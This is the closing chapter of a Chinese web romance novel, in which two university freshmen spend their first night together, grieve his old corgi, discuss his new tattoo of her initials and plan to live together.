沈方月知道他要干什么，硬撑着用发软的脚踩在他肩上，挡他：“你别这样，我还想和你亲嘴呢……” 她声音小小的，听得裴祈嗓子发紧。他没说话, 只是放下她的腿, 撑手上前，低头跟她接吻。 沈方月真的很喜欢和裴祈亲嘴。少年嘴唇比别人都要薄，但亲起来很舒服, 今晚他们的吻都带着一些人类本能, 泥泞细密，舌尖像他们的肢体一样纠缠在一起。 超市买的东西被撕开，沈方月肩膀微颤。 “沈方月。”他叫了她一声, 没往下说，但沈方月知道，是确认，是询问。 在装什么呀，明明自己都忍不住，她都感觉到一点疼了。 沈方月浑身滚烫地腹诽，腿蹭了他一下：“快点吧……裴祈。” …… 还是疼，好在痛感并没有持续很久。 一切都准备得很好，沈方月起初还有一点白脸冒冷汗，没一会就面色潮红，肩膀轻耸。 裴祈垂眸，沈方月虽然不矮，但骨架其实很小，缩肩时身上的一切都会放大，像朵飘落在巨浪里无助晃荡的花。 他低头亲了下，又往上去跟她接吻。他们一下又一下地紧贴，亲吻带来的微微窒息感，让沈方月无意识地绷紧，她感觉到裴祈很轻地低喘两声，然后深深地伏进她的颈窝。 两个人毫无保留地相贴，身上全是汗，安静又沉默地轻喘，不知过了多久才终于有人说话。 “疼吗？沈方月。”裴祈的脸贴在她脖颈，声音有点闷。 “一开始好疼。”沈方月问，“你呢？你疼吗？” 男的怎么会疼？裴祈笑，气息打在她颈侧。 “舒服。”他又学她，“超、级、舒、服。” “……” 沈方月狠狠地抓了一下他的头发：“不、准、学、我。” 裴祈又笑。他起身，把套子扔进垃圾桶，沈方月余光瞥过去，顿时面红耳赤。 怪不得这么疼！！！！！ 还没来得及追究责任，她听见一阵动静，裴祈又撕开一个。 “不是结束了吗？”沈方月懵道。 “不是休息了吗？”裴祈回答。 “可是我结束了，没感觉了，真的，好麻……” 裴祈低头亲她，伸手抓住了她的脚腕，再次抬起。 事实证明，也不是没感觉，到了后面甚至比第一次更强烈。沈方月眼底潮湿，被猛烈陌生的感觉牵着走，到最后，她都觉得自己要被撞晕了，停下来时眼前模糊，甚至好像看见了月亮—— 不。 是真的看见了月亮。 沈方月愣住，挣扎地坐起来，裴祈微顿，牵着她的手，让她坐到自己身上。 沈方月盯着裴祈的胸口，整个人都僵住：“你这是……什么？” 经过两周的军训，裴祈身上的线条更明显利落了，少年肌肉此刻因充血而微微发粉，胸口处更明显，上面有一道新鲜的纹身，是经过设计的字体。 仔细一看，是字母“Sf”，后面跟着一颗小小的月亮。 看到她震惊的眼神，裴祈随着她往下看，笑得很淡：“才发现？沈方月，你刚才一直没有看我啊。” “……” 沈方月说不出话。只是瞪着猫眼一眨不眨地看着，茫然，不敢置信：“纹的啊？” “没，”裴祈逗她，“画的。” 当然不可能，纹身周围还有一块淡淡的粉。 沈方月抬眼，脱口道：“那你以后都考不了公了啊！！！” 裴祈捂她嘴：“闭嘴吧沈方月。” “唔唔唔唔唔（你的手刚才）！！！”沈方月脸色爆红。 “笨蛋啊你，那是另只手。” “……” 见沈方月呆着没声儿了，裴祈才慢吞吞地放下手。 沈方月生理和心理上还都没缓过神来，她看看裴祈，又看看纹身，反复几次后，才又开口：“怎么纹在这里？好土哦。” “……”裴祈又想捂她嘴了。 “但是，为什么啊……”她轻喃。 裴祈半垂眼，搂着她说：“水兵月没了，周二的时候。” “……” 沈方月的眼泪几乎是瞬间就涌了上来，下一刻，泪水就砸裴祈皮肤上了，滚烫一滴。 她皱着脸哭起来：“你怎么现在才告诉我？” “这不是怕影响你军训，耽误你拿优秀标兵么。”裴祈嗓音淡淡。 “……你有病啊。”沈方月骂完，哽咽两声，又安慰他，“你别难过，裴祈。” 裴祈抬手给她抹眼泪，沈方月哭着哭着，甚至还有空确认一下他用的是哪只手。裴祈：“……” “嗯，我不难过。” “啊？”沈方月不同意，“你怎么可以不难过？” “……那我就难过吧。”裴祈把她眼泪擦干净，“但我接受。” “……” “它18岁了，你去全世界问问，几只柯基能活到18岁。它还吃这么胖。” “……裴祈，你真的好刻薄。”沈方月哽咽道。 “嗯，”裴祈缓缓说，“而且它每一任主人都爱它，路人爱它，你也爱它。它这一生已经很圆满了。” 沈方月稍微有点被哄好了。 但还是难过。 她吸了吸鼻子：“那你该纹水兵月啊，干嘛纹我，我又没死。” “……” 他确实没有太难过，18岁，换算成人类都能算是喜丧了。 只是那个下午，他站在架空楼里看着那两条短信，忽然觉得这世界上所有生物之间的联系都很脆弱。 夫妻会离婚，宠物会早逝，亲生父母也会分别。 很多东西不论他想不想，都留不住。从小到大都是如此。 但他想留住沈方月。 这个念头一冒出来，就迫切地想要做点什么，着急地想证明什么。等他回过神来，自己已经躺在了纹身店的床上。 这些都没必要告诉沈方月。 这个纹身是他送给自己的，不是用来捆绑谁的。 “它占地面积太大，纹起来会很痛。”裴祈淡淡道，“就纹你了。” “你好随便。” “嗯。” “但我不信，”沈方月眼眶又红了，“唉，你就是太、爱、我、啦！” “……” “但是没关系，因为我也是啦。” 沈方月脸朝他靠过来，亲了亲他。不带任何情欲，是一个很单纯的碰触，一个安抚、轻柔而又深刻的吻。 沈方月就是这样一个人。 很笨，又聪明，纯粹而通透，天生会爱人。 而他恰巧幸运，也被她爱着，真是太好了。 他们吻到咸涩的潮湿，分不清是谁的眼泪。 && 做了爱，又哭了一场，沈方月洗完澡回来直接埋进被子里，动也不想动。 身心发胀，沈方月又不太想睡，于是贴在裴祈身上，盯着他胸口的纹身，有一搭没一搭地跟他聊天。 “你上燕大海底捞了吗？” “没。” 沈方月噢一声：“反正你小心点，我在燕大有眼线的，会一直盯着你。” “谁？哦，顾湘。”裴祈懒洋洋道，“你也小心点吧，谁没眼线似的。” “……宋哲这个告状精！” 半晌，沈方月忽然叹气：“早知道水兵月马上就要死了，上次我就偷偷喂它一点好吃的了。” “无所谓，它以前也没少吃。” “也是。”沈方月回忆了一下，以前每到饭点，水兵月就会到处窜门，仗着可爱能吃好几顿，“好吧，它真的很圆满。” “裴祈。” “嗯。” “你也要圆满。” 裴祈滚了一下喉咙，学她挑刺儿：“什么意思，拿我跟狗比。” 沈方月不跟他拌嘴，她手指点在纹身边缘，确定地说：“你一定会圆满的。” 裴祈安静良久，才低低地：“好。” “唉，燕科大也没我想象中那么好。你知道我们学校寝室的厕所有多破吗？床也很旧，我这么瘦，每次爬上去也都吱呀吱呀的。” 裴祈嗯一声：“那要不要搬出来住。” “洗衣台看起来也很脏——啊？”沈方月怔怔地抬头看他。 “我最近接了个家教，学校还有奖学金，很快就能攒到房租。”裴祈垂眼，“大二就能住外面了，沈方月，到时候跟我一起租房吧。” “……” 天呀。 光是这么一提，沈方月脑子就已经兴奋起来了。 但她已经是个成熟的大一生了，表面非常镇定：“求我。” “求你。” “噢，那也不要。” “哦，那你还我。” “还你什么？”沈方月莫名其妙。 “还我的求你。” “……你有病呀。” “嗯，”相处久了，裴祈也传染上她的没头没尾，“沈方月，我们一辈子在一起吧。” 沈方月顿了一下，鼻尖贴着他的下巴，脸颊红扑扑地：“刚上完床就说这个，很像渣男欸。” “我喜欢你。” “更像了。” “我爱你。” “……” 被忽然拥紧，沈方月好怕弄疼他的纹身，尽量躲着。听见他的声音低低沉沉落下来：“沈方月，我爱你。” “知道啦知道啦，别抱这么紧啊，碰到纹身怎么办！” 胸口纹身生疼，心脏酸胀满溢。 这是裴祈爱上沈方月的第12年。 她终于知道了。 ——正文完——魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m